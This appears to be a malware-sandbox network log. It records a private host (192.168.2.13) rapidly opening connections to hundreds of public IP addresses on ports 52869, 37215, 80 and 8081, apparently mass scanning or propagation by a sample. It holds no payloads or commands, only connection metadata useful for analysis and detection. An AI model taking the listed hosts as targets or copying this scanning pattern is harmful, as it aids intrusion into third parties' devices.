Jul 20, 2024 23:05:44.673896074 CEST	43695	52869	192.168.2.13	118.120.254.119
Jul 20, 2024 23:05:44.673896074 CEST	43695	52869	192.168.2.13	194.142.230.141
Jul 20, 2024 23:05:44.673896074 CEST	43695	52869	192.168.2.13	158.53.218.25
Jul 20, 2024 23:05:44.673896074 CEST	43695	52869	192.168.2.13	46.185.107.117
Jul 20, 2024 23:05:44.674877882 CEST	44719	37215	192.168.2.13	41.231.6.176
Jul 20, 2024 23:05:44.674877882 CEST	44719	37215	192.168.2.13	41.102.235.10
Jul 20, 2024 23:05:44.674877882 CEST	44719	37215	192.168.2.13	150.159.12.246
Jul 20, 2024 23:05:44.674877882 CEST	43695	52869	192.168.2.13	42.140.137.117
Jul 20, 2024 23:05:44.674877882 CEST	43695	52869	192.168.2.13	62.80.115.9
Jul 20, 2024 23:05:44.674877882 CEST	44719	37215	192.168.2.13	197.221.35.92
Jul 20, 2024 23:05:44.674877882 CEST	44719	37215	192.168.2.13	60.102.77.146
Jul 20, 2024 23:05:44.674877882 CEST	43695	52869	192.168.2.13	162.187.150.19
Jul 20, 2024 23:05:44.676053047 CEST	43695	52869	192.168.2.13	106.234.222.202
Jul 20, 2024 23:05:44.676053047 CEST	43695	52869	192.168.2.13	157.19.95.25
Jul 20, 2024 23:05:44.676053047 CEST	43695	52869	192.168.2.13	196.166.77.185
Jul 20, 2024 23:05:44.676054001 CEST	43695	52869	192.168.2.13	4.3.233.76
Jul 20, 2024 23:05:44.676054001 CEST	43695	52869	192.168.2.13	218.34.97.149
Jul 20, 2024 23:05:44.676054001 CEST	43695	52869	192.168.2.13	47.194.167.78
Jul 20, 2024 23:05:44.676054001 CEST	43695	52869	192.168.2.13	96.118.26.30
Jul 20, 2024 23:05:44.676054001 CEST	43695	52869	192.168.2.13	153.136.201.68
Jul 20, 2024 23:05:44.677059889 CEST	44719	37215	192.168.2.13	197.46.239.156
Jul 20, 2024 23:05:44.677059889 CEST	43695	52869	192.168.2.13	107.96.10.112
Jul 20, 2024 23:05:44.677059889 CEST	44719	37215	192.168.2.13	41.187.161.26
Jul 20, 2024 23:05:44.677059889 CEST	43695	52869	192.168.2.13	81.130.219.80
Jul 20, 2024 23:05:44.677059889 CEST	43695	52869	192.168.2.13	138.132.215.240
Jul 20, 2024 23:05:44.677059889 CEST	43695	52869	192.168.2.13	52.254.116.53
Jul 20, 2024 23:05:44.677059889 CEST	43695	52869	192.168.2.13	92.253.193.163
Jul 20, 2024 23:05:44.677059889 CEST	44719	37215	192.168.2.13	197.42.25.100
Jul 20, 2024 23:05:44.678296089 CEST	43695	52869	192.168.2.13	165.195.21.156
Jul 20, 2024 23:05:44.678296089 CEST	43695	52869	192.168.2.13	105.237.84.144
Jul 20, 2024 23:05:44.678296089 CEST	43695	52869	192.168.2.13	170.220.197.28
Jul 20, 2024 23:05:44.678296089 CEST	43695	52869	192.168.2.13	48.83.97.150
Jul 20, 2024 23:05:44.678296089 CEST	43695	52869	192.168.2.13	75.53.159.225
Jul 20, 2024 23:05:44.678296089 CEST	43695	52869	192.168.2.13	74.236.246.215
Jul 20, 2024 23:05:44.678296089 CEST	43695	52869	192.168.2.13	121.248.62.61
Jul 20, 2024 23:05:44.678296089 CEST	43695	52869	192.168.2.13	217.248.157.47
Jul 20, 2024 23:05:44.679248095 CEST	43695	52869	192.168.2.13	174.221.8.61
Jul 20, 2024 23:05:44.679248095 CEST	43695	52869	192.168.2.13	101.59.242.87
Jul 20, 2024 23:05:44.679248095 CEST	43695	52869	192.168.2.13	152.36.106.192
Jul 20, 2024 23:05:44.679248095 CEST	43695	52869	192.168.2.13	31.155.55.8
Jul 20, 2024 23:05:44.679248095 CEST	43695	52869	192.168.2.13	185.61.229.112
Jul 20, 2024 23:05:44.679248095 CEST	43695	52869	192.168.2.13	31.5.25.199
Jul 20, 2024 23:05:44.679248095 CEST	43695	52869	192.168.2.13	46.81.190.204
Jul 20, 2024 23:05:44.679248095 CEST	43695	52869	192.168.2.13	78.110.167.93
Jul 20, 2024 23:05:44.680511951 CEST	43695	52869	192.168.2.13	149.124.199.51
Jul 20, 2024 23:05:44.680511951 CEST	43695	52869	192.168.2.13	221.111.209.148
Jul 20, 2024 23:05:44.680511951 CEST	43695	52869	192.168.2.13	84.200.98.41
Jul 20, 2024 23:05:44.680511951 CEST	43695	52869	192.168.2.13	173.185.128.187
Jul 20, 2024 23:05:44.680511951 CEST	43695	52869	192.168.2.13	87.155.162.116
Jul 20, 2024 23:05:44.680511951 CEST	43695	52869	192.168.2.13	135.81.139.251
Jul 20, 2024 23:05:44.680511951 CEST	43695	52869	192.168.2.13	124.190.191.169
Jul 20, 2024 23:05:44.680511951 CEST	43695	52869	192.168.2.13	119.180.62.120
Jul 20, 2024 23:05:44.681444883 CEST	43695	52869	192.168.2.13	194.72.202.29
Jul 20, 2024 23:05:44.681444883 CEST	43695	52869	192.168.2.13	93.187.137.171
Jul 20, 2024 23:05:44.681444883 CEST	43695	52869	192.168.2.13	213.105.255.191
Jul 20, 2024 23:05:44.681444883 CEST	43695	52869	192.168.2.13	44.187.248.15
Jul 20, 2024 23:05:44.681444883 CEST	43695	52869	192.168.2.13	54.82.97.176
Jul 20, 2024 23:05:44.681444883 CEST	43695	52869	192.168.2.13	132.142.106.204
Jul 20, 2024 23:05:44.681444883 CEST	43695	52869	192.168.2.13	205.216.169.243
Jul 20, 2024 23:05:44.681444883 CEST	43695	52869	192.168.2.13	97.127.217.219
Jul 20, 2024 23:05:44.682651997 CEST	43695	52869	192.168.2.13	138.92.96.134
Jul 20, 2024 23:05:44.682651997 CEST	43695	52869	192.168.2.13	200.24.126.189
Jul 20, 2024 23:05:44.682651997 CEST	43695	52869	192.168.2.13	63.11.194.94
Jul 20, 2024 23:05:44.682651997 CEST	43695	52869	192.168.2.13	90.216.122.186
Jul 20, 2024 23:05:44.682651997 CEST	43695	52869	192.168.2.13	5.9.22.217
Jul 20, 2024 23:05:44.682651997 CEST	43695	52869	192.168.2.13	98.98.44.54
Jul 20, 2024 23:05:44.682651997 CEST	43695	52869	192.168.2.13	139.96.160.91
Jul 20, 2024 23:05:44.682651997 CEST	43695	52869	192.168.2.13	135.143.149.62
Jul 20, 2024 23:05:44.683537006 CEST	56722	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:44.683537960 CEST	59900	8081	192.168.2.13	37.80.33.132
Jul 20, 2024 23:05:44.683537960 CEST	59026	80	192.168.2.13	95.27.149.121
Jul 20, 2024 23:05:44.683537960 CEST	58310	80	192.168.2.13	95.111.165.44
Jul 20, 2024 23:05:44.683537960 CEST	45536	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:44.683537960 CEST	38908	8081	192.168.2.13	197.197.71.66
Jul 20, 2024 23:05:44.683578014 CEST	43695	52869	192.168.2.13	218.45.227.32
Jul 20, 2024 23:05:44.683578014 CEST	43695	52869	192.168.2.13	104.34.54.41
Jul 20, 2024 23:05:44.683578014 CEST	43695	52869	192.168.2.13	130.201.224.129
Jul 20, 2024 23:05:44.683578014 CEST	43695	52869	192.168.2.13	88.169.184.0
Jul 20, 2024 23:05:44.683578014 CEST	43695	52869	192.168.2.13	177.34.128.116
Jul 20, 2024 23:05:44.683578014 CEST	43695	52869	192.168.2.13	49.53.198.223
Jul 20, 2024 23:05:44.683578014 CEST	43695	52869	192.168.2.13	158.231.228.107
Jul 20, 2024 23:05:44.683578014 CEST	43695	52869	192.168.2.13	128.188.159.110
Jul 20, 2024 23:05:44.685523987 CEST	43695	52869	192.168.2.13	85.167.215.211
Jul 20, 2024 23:05:44.685523987 CEST	43695	52869	192.168.2.13	160.90.122.124
Jul 20, 2024 23:05:44.685523987 CEST	43695	52869	192.168.2.13	136.196.141.137
Jul 20, 2024 23:05:44.685523987 CEST	43695	52869	192.168.2.13	89.97.223.75
Jul 20, 2024 23:05:44.685523987 CEST	43695	52869	192.168.2.13	134.207.153.84
Jul 20, 2024 23:05:44.685523987 CEST	43695	52869	192.168.2.13	213.59.63.60
Jul 20, 2024 23:05:44.685523987 CEST	43695	52869	192.168.2.13	175.208.180.93
Jul 20, 2024 23:05:44.685523987 CEST	43695	52869	192.168.2.13	183.196.30.7
Jul 20, 2024 23:05:44.686131001 CEST	43695	52869	192.168.2.13	70.24.145.153
Jul 20, 2024 23:05:44.686131001 CEST	43695	52869	192.168.2.13	39.121.59.122
Jul 20, 2024 23:05:44.686131001 CEST	43695	52869	192.168.2.13	140.247.232.124
Jul 20, 2024 23:05:44.686131001 CEST	43695	52869	192.168.2.13	169.136.232.117
Jul 20, 2024 23:05:44.686131001 CEST	43695	52869	192.168.2.13	14.168.208.242
Jul 20, 2024 23:05:44.686131001 CEST	43695	52869	192.168.2.13	160.103.123.175
Jul 20, 2024 23:05:44.686131001 CEST	43695	52869	192.168.2.13	109.13.19.240
Jul 20, 2024 23:05:44.686131001 CEST	43695	52869	192.168.2.13	49.134.57.119
Jul 20, 2024 23:05:44.687602043 CEST	43108	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:44.688067913 CEST	43695	52869	192.168.2.13	9.71.24.238
Jul 20, 2024 23:05:44.688067913 CEST	43695	52869	192.168.2.13	111.154.196.140
Jul 20, 2024 23:05:44.688067913 CEST	43695	52869	192.168.2.13	81.22.72.53
Jul 20, 2024 23:05:44.688067913 CEST	43695	52869	192.168.2.13	128.249.208.200
Jul 20, 2024 23:05:44.688067913 CEST	43695	52869	192.168.2.13	90.100.144.191
Jul 20, 2024 23:05:44.688067913 CEST	43695	52869	192.168.2.13	138.233.118.65
Jul 20, 2024 23:05:44.688069105 CEST	43695	52869	192.168.2.13	98.104.101.106
Jul 20, 2024 23:05:44.688069105 CEST	43695	52869	192.168.2.13	176.8.108.48
Jul 20, 2024 23:05:44.688903093 CEST	43695	52869	192.168.2.13	205.244.252.193
Jul 20, 2024 23:05:44.688903093 CEST	43695	52869	192.168.2.13	120.59.246.65
Jul 20, 2024 23:05:44.688903093 CEST	43695	52869	192.168.2.13	168.94.82.38
Jul 20, 2024 23:05:44.688903093 CEST	43695	52869	192.168.2.13	111.20.235.69
Jul 20, 2024 23:05:44.688903093 CEST	43695	52869	192.168.2.13	112.70.81.45
Jul 20, 2024 23:05:44.688903093 CEST	43695	52869	192.168.2.13	151.172.243.41
Jul 20, 2024 23:05:44.688903093 CEST	43695	52869	192.168.2.13	114.112.129.209
Jul 20, 2024 23:05:44.688903093 CEST	43695	52869	192.168.2.13	52.26.90.12
Jul 20, 2024 23:05:44.689954042 CEST	43695	52869	192.168.2.13	76.28.127.7
Jul 20, 2024 23:05:44.689954042 CEST	43695	52869	192.168.2.13	101.154.109.210
Jul 20, 2024 23:05:44.689954042 CEST	43695	52869	192.168.2.13	118.51.35.105
Jul 20, 2024 23:05:44.689954042 CEST	43695	52869	192.168.2.13	157.17.2.39
Jul 20, 2024 23:05:44.689954042 CEST	43695	52869	192.168.2.13	58.248.88.203
Jul 20, 2024 23:05:44.689954042 CEST	43695	52869	192.168.2.13	142.44.99.225
Jul 20, 2024 23:05:44.689954042 CEST	43695	52869	192.168.2.13	85.196.59.41
Jul 20, 2024 23:05:44.689954042 CEST	43695	52869	192.168.2.13	181.53.153.241
Jul 20, 2024 23:05:44.690768957 CEST	43695	52869	192.168.2.13	97.152.19.63
Jul 20, 2024 23:05:44.690768957 CEST	43695	52869	192.168.2.13	112.141.208.102
Jul 20, 2024 23:05:44.690768957 CEST	43695	52869	192.168.2.13	40.83.33.16
Jul 20, 2024 23:05:44.690768957 CEST	43695	52869	192.168.2.13	175.96.242.92
Jul 20, 2024 23:05:44.690768957 CEST	43695	52869	192.168.2.13	192.138.59.234
Jul 20, 2024 23:05:44.690768957 CEST	43695	52869	192.168.2.13	194.168.65.49
Jul 20, 2024 23:05:44.690768957 CEST	43695	52869	192.168.2.13	149.158.95.13
Jul 20, 2024 23:05:44.691807985 CEST	43695	52869	192.168.2.13	42.59.118.152
Jul 20, 2024 23:05:44.691807985 CEST	43695	52869	192.168.2.13	34.27.33.157
Jul 20, 2024 23:05:44.691807985 CEST	43695	52869	192.168.2.13	170.63.185.63
Jul 20, 2024 23:05:44.691807985 CEST	43695	52869	192.168.2.13	97.111.83.236
Jul 20, 2024 23:05:44.691807985 CEST	43695	52869	192.168.2.13	93.102.213.241
Jul 20, 2024 23:05:44.691807985 CEST	43695	52869	192.168.2.13	130.97.148.89
Jul 20, 2024 23:05:44.691807985 CEST	43695	52869	192.168.2.13	51.72.19.57
Jul 20, 2024 23:05:44.691807985 CEST	43695	52869	192.168.2.13	64.85.216.249
Jul 20, 2024 23:05:44.692426920 CEST	43695	52869	192.168.2.13	163.118.107.64
Jul 20, 2024 23:05:44.692426920 CEST	43695	52869	192.168.2.13	179.104.253.233
Jul 20, 2024 23:05:44.692426920 CEST	43695	52869	192.168.2.13	194.209.194.23
Jul 20, 2024 23:05:44.692426920 CEST	43695	52869	192.168.2.13	118.155.59.91
Jul 20, 2024 23:05:44.693502903 CEST	43695	52869	192.168.2.13	185.217.137.150
Jul 20, 2024 23:05:44.693502903 CEST	43695	52869	192.168.2.13	115.2.245.201
Jul 20, 2024 23:05:44.693502903 CEST	43695	52869	192.168.2.13	5.73.227.65
Jul 20, 2024 23:05:44.693502903 CEST	43695	52869	192.168.2.13	185.162.157.182
Jul 20, 2024 23:05:44.693502903 CEST	43695	52869	192.168.2.13	195.3.231.124
Jul 20, 2024 23:05:44.693502903 CEST	43695	52869	192.168.2.13	106.188.24.94
Jul 20, 2024 23:05:44.693502903 CEST	43695	52869	192.168.2.13	9.160.15.173
Jul 20, 2024 23:05:44.693502903 CEST	43695	52869	192.168.2.13	110.208.222.236
Jul 20, 2024 23:05:44.693979025 CEST	43695	52869	192.168.2.13	70.76.54.146
Jul 20, 2024 23:05:44.693979025 CEST	43695	52869	192.168.2.13	49.20.93.61
Jul 20, 2024 23:05:44.693979025 CEST	43695	52869	192.168.2.13	24.164.244.193
Jul 20, 2024 23:05:44.698080063 CEST	50686	8081	192.168.2.13	32.17.126.48
Jul 20, 2024 23:05:44.703002930 CEST	59290	8081	192.168.2.13	93.44.252.28
Jul 20, 2024 23:05:44.703002930 CEST	49232	80	192.168.2.13	95.36.83.126
Jul 20, 2024 23:05:44.703002930 CEST	36212	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:44.703795910 CEST	58504	80	192.168.2.13	95.17.196.163
Jul 20, 2024 23:05:44.703795910 CEST	45182	80	192.168.2.13	95.185.121.56
Jul 20, 2024 23:05:44.712503910 CEST	60994	8081	192.168.2.13	223.10.101.195
Jul 20, 2024 23:05:44.712503910 CEST	54820	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:44.712505102 CEST	36696	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:44.719533920 CEST	44719	37215	192.168.2.13	157.135.46.253
Jul 20, 2024 23:05:44.719533920 CEST	44719	37215	192.168.2.13	197.40.78.120
Jul 20, 2024 23:05:44.719533920 CEST	44719	37215	192.168.2.13	157.136.223.71
Jul 20, 2024 23:05:44.719533920 CEST	37122	80	192.168.2.13	95.136.84.40
Jul 20, 2024 23:05:44.719533920 CEST	44719	37215	192.168.2.13	197.17.61.246
Jul 20, 2024 23:05:44.719533920 CEST	44719	37215	192.168.2.13	25.122.150.15
Jul 20, 2024 23:05:44.723659992 CEST	44719	37215	192.168.2.13	157.0.50.2
Jul 20, 2024 23:05:44.723659992 CEST	44719	37215	192.168.2.13	157.27.67.226
Jul 20, 2024 23:05:44.723659992 CEST	44719	37215	192.168.2.13	118.254.136.146
Jul 20, 2024 23:05:44.723659992 CEST	44719	37215	192.168.2.13	197.248.55.217
Jul 20, 2024 23:05:44.723659992 CEST	44719	37215	192.168.2.13	197.89.91.91
Jul 20, 2024 23:05:44.723659992 CEST	44719	37215	192.168.2.13	157.79.148.14
Jul 20, 2024 23:05:44.723659992 CEST	44719	37215	192.168.2.13	138.116.140.217
Jul 20, 2024 23:05:44.723659992 CEST	44719	37215	192.168.2.13	157.136.154.194
Jul 20, 2024 23:05:44.724284887 CEST	44719	37215	192.168.2.13	98.76.237.55
Jul 20, 2024 23:05:44.724284887 CEST	44719	37215	192.168.2.13	157.199.185.233
Jul 20, 2024 23:05:44.724284887 CEST	44719	37215	192.168.2.13	197.222.130.126
Jul 20, 2024 23:05:44.724286079 CEST	44719	37215	192.168.2.13	197.15.26.244
Jul 20, 2024 23:05:44.724286079 CEST	44719	37215	192.168.2.13	197.207.55.68
Jul 20, 2024 23:05:44.724286079 CEST	44719	37215	192.168.2.13	157.91.144.97
Jul 20, 2024 23:05:44.724286079 CEST	44719	37215	192.168.2.13	157.38.127.92
Jul 20, 2024 23:05:44.724286079 CEST	44719	37215	192.168.2.13	157.16.15.67
Jul 20, 2024 23:05:44.724894047 CEST	44719	37215	192.168.2.13	197.30.56.247
Jul 20, 2024 23:05:44.724894047 CEST	44719	37215	192.168.2.13	41.67.235.248
Jul 20, 2024 23:05:44.724894047 CEST	44719	37215	192.168.2.13	157.134.207.23
Jul 20, 2024 23:05:44.724894047 CEST	44719	37215	192.168.2.13	208.22.61.188
Jul 20, 2024 23:05:44.724894047 CEST	44719	37215	192.168.2.13	197.117.81.181
Jul 20, 2024 23:05:44.724894047 CEST	44719	37215	192.168.2.13	41.8.11.107
Jul 20, 2024 23:05:44.724894047 CEST	44719	37215	192.168.2.13	27.57.69.110
Jul 20, 2024 23:05:44.725548983 CEST	43695	52869	192.168.2.13	50.153.175.40
Jul 20, 2024 23:05:44.725548983 CEST	43695	52869	192.168.2.13	5.239.24.40
Jul 20, 2024 23:05:44.725548983 CEST	43695	52869	192.168.2.13	90.232.33.214
Jul 20, 2024 23:05:44.725548983 CEST	43695	52869	192.168.2.13	204.34.159.109
Jul 20, 2024 23:05:44.725548983 CEST	43695	52869	192.168.2.13	113.222.204.179
Jul 20, 2024 23:05:44.725548983 CEST	43695	52869	192.168.2.13	18.60.122.255
Jul 20, 2024 23:05:44.725548983 CEST	43695	52869	192.168.2.13	25.136.46.43
Jul 20, 2024 23:05:44.725682020 CEST	58496	80	192.168.2.13	95.172.181.119
Jul 20, 2024 23:05:44.726070881 CEST	43695	52869	192.168.2.13	197.101.229.103
Jul 20, 2024 23:05:44.726070881 CEST	43695	52869	192.168.2.13	132.195.22.70
Jul 20, 2024 23:05:44.726070881 CEST	43695	52869	192.168.2.13	46.14.202.242
Jul 20, 2024 23:05:44.726070881 CEST	43695	52869	192.168.2.13	170.211.30.10
Jul 20, 2024 23:05:44.726070881 CEST	43695	52869	192.168.2.13	130.39.222.19
Jul 20, 2024 23:05:44.726072073 CEST	43695	52869	192.168.2.13	41.100.115.152
Jul 20, 2024 23:05:44.726072073 CEST	43695	52869	192.168.2.13	49.165.209.192
Jul 20, 2024 23:05:44.726072073 CEST	43695	52869	192.168.2.13	35.227.176.193
Jul 20, 2024 23:05:44.726775885 CEST	43695	52869	192.168.2.13	140.182.10.13
Jul 20, 2024 23:05:44.726775885 CEST	43695	52869	192.168.2.13	161.77.194.16
Jul 20, 2024 23:05:44.726775885 CEST	43695	52869	192.168.2.13	70.115.6.239
Jul 20, 2024 23:05:44.726775885 CEST	43695	52869	192.168.2.13	150.189.59.39
Jul 20, 2024 23:05:44.726777077 CEST	43695	52869	192.168.2.13	123.182.218.139
Jul 20, 2024 23:05:44.726777077 CEST	43695	52869	192.168.2.13	48.120.135.0
Jul 20, 2024 23:05:44.726777077 CEST	43695	52869	192.168.2.13	118.97.181.6
Jul 20, 2024 23:05:44.726777077 CEST	43695	52869	192.168.2.13	75.227.233.189
Jul 20, 2024 23:05:44.727297068 CEST	43695	52869	192.168.2.13	66.12.166.205
Jul 20, 2024 23:05:44.727297068 CEST	43695	52869	192.168.2.13	41.198.170.204
Jul 20, 2024 23:05:44.727297068 CEST	43695	52869	192.168.2.13	103.123.196.10
Jul 20, 2024 23:05:44.727297068 CEST	43695	52869	192.168.2.13	149.30.208.77
Jul 20, 2024 23:05:44.727297068 CEST	43695	52869	192.168.2.13	114.145.148.110
Jul 20, 2024 23:05:44.727297068 CEST	43695	52869	192.168.2.13	198.205.186.114
Jul 20, 2024 23:05:44.727297068 CEST	43695	52869	192.168.2.13	20.133.111.225
Jul 20, 2024 23:05:44.727297068 CEST	43695	52869	192.168.2.13	145.155.32.76
Jul 20, 2024 23:05:44.727797985 CEST	43695	52869	192.168.2.13	32.151.19.76
Jul 20, 2024 23:05:44.727797985 CEST	43695	52869	192.168.2.13	143.129.50.39
Jul 20, 2024 23:05:44.727797985 CEST	43695	52869	192.168.2.13	178.223.240.136
Jul 20, 2024 23:05:44.727797985 CEST	43695	52869	192.168.2.13	85.98.20.230
Jul 20, 2024 23:05:44.727797985 CEST	43695	52869	192.168.2.13	161.255.105.252
Jul 20, 2024 23:05:44.727797985 CEST	43695	52869	192.168.2.13	83.235.189.67
Jul 20, 2024 23:05:44.727798939 CEST	43695	52869	192.168.2.13	140.178.10.62
Jul 20, 2024 23:05:44.728287935 CEST	43695	52869	192.168.2.13	118.23.151.21
Jul 20, 2024 23:05:44.728287935 CEST	43695	52869	192.168.2.13	57.136.156.83
Jul 20, 2024 23:05:44.728287935 CEST	43695	52869	192.168.2.13	44.63.250.59
Jul 20, 2024 23:05:44.728287935 CEST	43695	52869	192.168.2.13	201.23.168.79
Jul 20, 2024 23:05:44.728287935 CEST	43695	52869	192.168.2.13	96.36.208.160
Jul 20, 2024 23:05:44.728287935 CEST	43695	52869	192.168.2.13	178.100.183.66
Jul 20, 2024 23:05:44.728287935 CEST	43695	52869	192.168.2.13	166.193.69.13
Jul 20, 2024 23:05:44.728287935 CEST	43695	52869	192.168.2.13	190.3.189.193
Jul 20, 2024 23:05:44.728789091 CEST	43695	52869	192.168.2.13	35.93.73.208
Jul 20, 2024 23:05:44.728789091 CEST	43695	52869	192.168.2.13	118.218.151.174
Jul 20, 2024 23:05:44.728789091 CEST	43695	52869	192.168.2.13	37.39.48.206
Jul 20, 2024 23:05:44.728789091 CEST	43695	52869	192.168.2.13	111.14.249.183
Jul 20, 2024 23:05:44.728789091 CEST	43695	52869	192.168.2.13	94.46.16.102
Jul 20, 2024 23:05:44.728789091 CEST	43695	52869	192.168.2.13	108.219.65.62
Jul 20, 2024 23:05:44.728789091 CEST	43695	52869	192.168.2.13	165.90.32.67
Jul 20, 2024 23:05:44.728789091 CEST	43695	52869	192.168.2.13	113.61.254.130
Jul 20, 2024 23:05:44.728792906 CEST	57312	8081	192.168.2.13	117.148.184.206
Jul 20, 2024 23:05:44.728792906 CEST	36106	80	192.168.2.13	95.239.165.65
Jul 20, 2024 23:05:44.728792906 CEST	49878	8081	192.168.2.13	208.164.111.128
Jul 20, 2024 23:05:44.732888937 CEST	44674	80	192.168.2.13	95.134.175.82
Jul 20, 2024 23:05:44.733484030 CEST	44719	37215	192.168.2.13	41.216.134.212
Jul 20, 2024 23:05:44.733484030 CEST	44719	37215	192.168.2.13	157.215.150.88
Jul 20, 2024 23:05:44.733484030 CEST	44719	37215	192.168.2.13	41.73.62.1
Jul 20, 2024 23:05:44.733484030 CEST	44719	37215	192.168.2.13	197.94.189.124
Jul 20, 2024 23:05:44.733484030 CEST	44719	37215	192.168.2.13	157.240.89.2
Jul 20, 2024 23:05:44.733484030 CEST	44719	37215	192.168.2.13	197.33.5.178
Jul 20, 2024 23:05:44.734064102 CEST	44719	37215	192.168.2.13	197.176.126.210
Jul 20, 2024 23:05:44.734064102 CEST	44719	37215	192.168.2.13	157.1.73.255
Jul 20, 2024 23:05:44.739325047 CEST	52869	43695	160.252.73.45	192.168.2.13
Jul 20, 2024 23:05:44.739327908 CEST	52869	43695	75.74.92.110	192.168.2.13
Jul 20, 2024 23:05:44.739334106 CEST	52869	43695	203.79.125.158	192.168.2.13
Jul 20, 2024 23:05:44.739336967 CEST	52869	43695	142.213.56.26	192.168.2.13
Jul 20, 2024 23:05:44.739341974 CEST	52869	43695	94.5.123.22	192.168.2.13
Jul 20, 2024 23:05:44.739352942 CEST	52869	43695	126.8.241.59	192.168.2.13
Jul 20, 2024 23:05:44.739366055 CEST	52869	43695	115.196.123.41	192.168.2.13
Jul 20, 2024 23:05:44.739370108 CEST	80	40226	95.155.207.83	192.168.2.13
Jul 20, 2024 23:05:44.739381075 CEST	52869	43695	204.63.207.32	192.168.2.13
Jul 20, 2024 23:05:44.739386082 CEST	52869	43695	150.201.23.151	192.168.2.13
Jul 20, 2024 23:05:44.739389896 CEST	52869	43695	112.68.230.104	192.168.2.13
Jul 20, 2024 23:05:44.739392996 CEST	52869	43695	42.89.120.87	192.168.2.13
Jul 20, 2024 23:05:44.739393950 CEST	52869	43695	38.223.245.119	192.168.2.13
Jul 20, 2024 23:05:44.739399910 CEST	52869	43695	210.230.55.69	192.168.2.13
Jul 20, 2024 23:05:44.739406109 CEST	80	37122	95.136.84.40	192.168.2.13
Jul 20, 2024 23:05:44.739407063 CEST	52869	43695	88.19.10.215	192.168.2.13
Jul 20, 2024 23:05:44.739412069 CEST	52869	43695	141.166.255.179	192.168.2.13
Jul 20, 2024 23:05:44.739415884 CEST	43695	52869	192.168.2.13	115.196.123.41
Jul 20, 2024 23:05:44.739417076 CEST	52869	43695	61.101.101.38	192.168.2.13
Jul 20, 2024 23:05:44.739415884 CEST	43695	52869	192.168.2.13	160.252.73.45
Jul 20, 2024 23:05:44.739415884 CEST	43695	52869	192.168.2.13	75.74.92.110
Jul 20, 2024 23:05:44.739415884 CEST	43695	52869	192.168.2.13	142.213.56.26
Jul 20, 2024 23:05:44.739415884 CEST	43695	52869	192.168.2.13	94.5.123.22
Jul 20, 2024 23:05:44.739418983 CEST	52869	43695	9.238.80.231	192.168.2.13
Jul 20, 2024 23:05:44.739415884 CEST	43695	52869	192.168.2.13	126.8.241.59
Jul 20, 2024 23:05:44.739415884 CEST	43695	52869	192.168.2.13	204.63.207.32
Jul 20, 2024 23:05:44.739415884 CEST	43695	52869	192.168.2.13	150.201.23.151
Jul 20, 2024 23:05:44.739427090 CEST	52869	43695	25.153.231.174	192.168.2.13
Jul 20, 2024 23:05:44.739429951 CEST	52869	43695	14.161.78.217	192.168.2.13
Jul 20, 2024 23:05:44.739468098 CEST	52869	43695	41.131.184.33	192.168.2.13
Jul 20, 2024 23:05:44.739470959 CEST	80	49232	95.36.83.126	192.168.2.13
Jul 20, 2024 23:05:44.739537001 CEST	52869	43695	164.141.244.8	192.168.2.13
Jul 20, 2024 23:05:44.739557028 CEST	80	58504	95.17.196.163	192.168.2.13
Jul 20, 2024 23:05:44.739593983 CEST	8081	36212	93.210.42.24	192.168.2.13
Jul 20, 2024 23:05:44.739618063 CEST	8081	45536	115.217.160.85	192.168.2.13
Jul 20, 2024 23:05:44.739665985 CEST	80	45182	95.185.121.56	192.168.2.13
Jul 20, 2024 23:05:44.739850998 CEST	80	58496	95.172.181.119	192.168.2.13
Jul 20, 2024 23:05:44.739890099 CEST	80	44674	95.134.175.82	192.168.2.13
Jul 20, 2024 23:05:44.739892006 CEST	37215	44719	41.216.134.212	192.168.2.13
Jul 20, 2024 23:05:44.739892960 CEST	37215	44719	157.215.150.88	192.168.2.13
Jul 20, 2024 23:05:44.739892960 CEST	37215	44719	41.73.62.1	192.168.2.13
Jul 20, 2024 23:05:44.739953995 CEST	37215	44719	197.94.189.124	192.168.2.13
Jul 20, 2024 23:05:44.740165949 CEST	43695	52869	192.168.2.13	112.68.230.104
Jul 20, 2024 23:05:44.740165949 CEST	43695	52869	192.168.2.13	38.223.245.119
Jul 20, 2024 23:05:44.740165949 CEST	43695	52869	192.168.2.13	210.230.55.69
Jul 20, 2024 23:05:44.740165949 CEST	43695	52869	192.168.2.13	141.166.255.179
Jul 20, 2024 23:05:44.740165949 CEST	43695	52869	192.168.2.13	61.101.101.38
Jul 20, 2024 23:05:44.740165949 CEST	43695	52869	192.168.2.13	25.153.231.174
Jul 20, 2024 23:05:44.740417004 CEST	37215	44719	157.240.89.2	192.168.2.13
Jul 20, 2024 23:05:44.740886927 CEST	43695	52869	192.168.2.13	14.161.78.217
Jul 20, 2024 23:05:44.740886927 CEST	43695	52869	192.168.2.13	42.89.120.87
Jul 20, 2024 23:05:44.740886927 CEST	43695	52869	192.168.2.13	88.19.10.215
Jul 20, 2024 23:05:44.740886927 CEST	43695	52869	192.168.2.13	9.238.80.231
Jul 20, 2024 23:05:44.744190931 CEST	44719	37215	192.168.2.13	66.202.119.180
Jul 20, 2024 23:05:44.744190931 CEST	44719	37215	192.168.2.13	157.213.215.116
Jul 20, 2024 23:05:44.744190931 CEST	44719	37215	192.168.2.13	197.21.34.233
Jul 20, 2024 23:05:44.744190931 CEST	44719	37215	192.168.2.13	207.134.190.180
Jul 20, 2024 23:05:44.744190931 CEST	44719	37215	192.168.2.13	197.180.98.210
Jul 20, 2024 23:05:44.744190931 CEST	44719	37215	192.168.2.13	41.34.74.201
Jul 20, 2024 23:05:44.744190931 CEST	44719	37215	192.168.2.13	135.118.57.223
Jul 20, 2024 23:05:44.744190931 CEST	44719	37215	192.168.2.13	17.56.166.175
Jul 20, 2024 23:05:44.744215012 CEST	44719	37215	192.168.2.13	47.160.56.113
Jul 20, 2024 23:05:44.744215012 CEST	44719	37215	192.168.2.13	41.100.122.57
Jul 20, 2024 23:05:44.744215012 CEST	44719	37215	192.168.2.13	20.91.234.81
Jul 20, 2024 23:05:44.744215012 CEST	44719	37215	192.168.2.13	41.198.113.71
Jul 20, 2024 23:05:44.744215012 CEST	44719	37215	192.168.2.13	41.61.10.225
Jul 20, 2024 23:05:44.744215012 CEST	44719	37215	192.168.2.13	197.22.12.138
Jul 20, 2024 23:05:44.744215012 CEST	44719	37215	192.168.2.13	197.60.247.81
